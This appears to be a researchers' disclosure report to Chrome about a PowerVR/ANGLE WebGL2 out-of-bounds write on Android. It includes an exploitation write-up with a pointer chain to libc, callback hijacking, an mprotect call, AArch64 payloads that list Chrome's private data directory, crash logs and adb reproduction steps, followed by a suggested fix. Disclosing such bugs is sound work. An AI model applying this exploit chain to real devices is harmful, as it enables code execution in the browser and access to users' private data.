The page uses the replacement buffer as a vertex source for one valid draw.
PowerVR attaches GLES3BufferObjectRec.sRMResource@+0x90 to a hardware queue,
creating this live pointer path:
history = *(BufferRec + 0x90)
queue = *(history + 0x00)
context = *(queue + 0x10)
creator = *(context + 0xb4a0)
GLES = creator - 0xe1740
free = *(GLES + 0x1dffc0)
libc = free - 0x59530
From libc, the exploit resolves linker64 through
__loader_shared_globals, walks the valid soinfo list, and locates
libandroid_runtime.so. All offsets are pinned to the BuildIds listed in this
report; the page does not read /proc or receive an address externally.
The context supplies primitive and occlusion query targets at +0xb448 and
+0xb450. Their normal End callbacks are verified against the confirmed GLES
BuildId before use. For each call, the page begins a real WebGL query,
temporarily replaces its native target object and End callback, invokes
gl.endQuery(), and restores the original target state in a finally block.
The first returning callback calls:
mprotect(payload_page, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC);
The second callback enters this controlled AArch64 payload:
bti c
str w1, [x0]
mov w0, wzr
ret
The payload writes marker 0x52434521 into the live WebGLBuffer backing and
returns through the preserved callback chain. getBufferSubData() reads the
marker back into JavaScript, proving native instruction execution while the GPU
process remains alive.
The page then executes a second BTI-compatible payload. It allocates private
scratch memory with mmap, marks the payload page executable with the same
callback primitive, opens Chrome’s private application directory, and retrieves
its entries without launching an external process:
int fd = syscall(__NR_openat, AT_FDCWD,
"/data/user/0/com.android.chrome", O_DIRECTORY, 0);
int length = syscall(__NR_getdents64, fd, buffer, 0x10000);
syscall(__NR_close, fd);
The native payload returns the dirent buffer address and length through a WebGL-visible result structure. The corrupted BufferRec copies the dirents back to JavaScript, which parses and displays them.
Device evidence
Minimal PoC
poc.html terminates Chrome’s privileged GPU process with:
process com.android.chrome:privileged_process0
thread VizCompositorTh
signal SIGSEGV / SEGV_MAPERR / read
fault address 0x0001010101010121
page result GPU process/context lost after blind 0x01 overwrite
Native code execution and private-directory access
On the confirmed target, a cold launch of exp.html produced:
runtime 104.423 seconds
BufferRec X 0xb4000071b86688f0
data_store 0xb4000071a8035150
original data_store_cpu 0x00000074681fc000
replacement native name 0x1c0a
BufferRec history 0xb400007287edf550
RM hardware queue 0xb4000073370f1590
GLES3Context 0xb40000735714f080
libGLESv2 base 0x0000007153610000
libc base 0x000000745ce43000
linker base 0x000000747bcb4000
libandroid_runtime base 0x0000007447329000
mprotect 0x000000745cf27e80
native payload 0xb4000071b8668b10
returned marker 0x52434521
private scratch mapping 0x000000719c090000
directory payload 0x000000719c090100
directory dirent buffer 0x000000746313a000
directory dirent bytes 416
WebGL errors 0x0
GPU-process crash none
The native directory payload returned:
dir .
dir ..
dir cache
dir code_cache
dir shared_prefs
dir app_chrome
dir app_textures
dir files
dir no_backup
dir app_multi_instance
dir app_tabs
dir databases
dir app_top_sites
Code-execution result
The supplied exploit first proves native code execution with a minimal returning marker payload, then uses native syscalls to list Chrome’s private application data directory and returns those entries to the webpage. It does not spawn a process, alter persistent state, or execute an external command.
Reproduction
Serve this directory and reverse the TCP port to the device:
python3 -m http.server 8000 --bind 127.0.0.1
adb reverse tcp:8000 tcp:8000
Controlled GPU-process crash:
adb shell am force-stop com.android.chrome
adb shell am start -W -a android.intent.action.VIEW \
-d http://127.0.0.1:8000/poc.html com.android.chrome
Native code-execution and private-directory proof:
adb shell am force-stop com.android.chrome
adb shell am start -W -a android.intent.action.VIEW \
-d http://127.0.0.1:8000/exp.html com.android.chrome
poc.html either loses the WebGL context after a native corrupted-pointer use
or reports that the blind OOB returned without an immediate crash. Refreshing
retries a new unshaped layout. exp.html succeeds when the page
shows all of:
NATIVE CODE EXECUTION: PASS
CHROME DATA DIRECTORY: PASS
The exploit depends on Scudo placing several same-size native allocations next
to one another, so a single run is not guaranteed to succeed. A failed attempt
may complete without disclosing the required pointer, report an exception, or
lose the WebGL context before reaching both PASS messages. In that case,
force-stop Chrome and launch exp.html again so the browser and privileged GPU
process start with a fresh heap:
adb shell am force-stop com.android.chrome
adb shell am start -W -a android.intent.action.VIEW \
-d http://127.0.0.1:8000/exp.html com.android.chrome
The exploit is intentionally run from a cold Chrome process. Initial shader linking and heap construction are CPU-intensive and the complete demonstration can take 1–2 minutes on the tested device. The page continuously updates its progress text during this period; wait for both PASS messages before judging the result.
The included demo.mp4 is a 112.6-second recording of a complete run through
native code execution and the Chrome private-directory listing.
Suggested fix
The robust fix belongs at the native invariant boundary and should also be mirrored in ANGLE:
-
In PowerVR, calculate the sparse page-map allocation and every twiddled index from one consistent effective mip window. Reject or clamp every index outside
ui32NumPagesTotalbefore writingpbUsedPageMap[index]. -
Audit both
CalculateNPOTTwiddleSparsePageMapand the sibling 3D function, including 2D-array, cube-array, multisample-array, compressed, and framebuffer-compression paths. -
In ANGLE, do not invoke native immutable storage while a nonzero base is already applied to a mutable PowerVR texture. Create storage with native base zero and reapply the requested base only after safe initialization, or recreate the native texture before the first vulnerable storage consumer.
-
Add regression tests for the missing order:
set BASE_LEVEL while mutable -> allocate immutable NPOT storageCover
texStorage2D,texStorage3D,TEXTURE_2D_ARRAY, and boundaries nearMAX_TEXTURE_SIZE, and instrument the workaround so the test proves that the intended repair branch actually executes.
Included files
poc.html— minimal blind ordinary-WebGL2 root trigger: two names, one overflowing storage call, and reverse deletion; no heap shaping.exp.html— self-contained PowerVR chain through ASLR resolution, returning native code execution, and a native listing of Chrome’s private data directory.demo.mp4— 112.6-second device recording of the complete exploit run.report.md— this root-cause, workaround-bypass, and exploitation write-up.
Impact analysis
All the required information are in the attached files.
The cause
What version of Chrome have you found the security issue in?
stable
Is the security issue related to a crash?
Yes, it is related to a crash.
How would you like to be publicly acknowledged for your report?
Billy Jheng Bing Jhong, Muhammad Alifa Ramdhan, Pan Zhenpeng of STAR Labs SG Pte. LTd.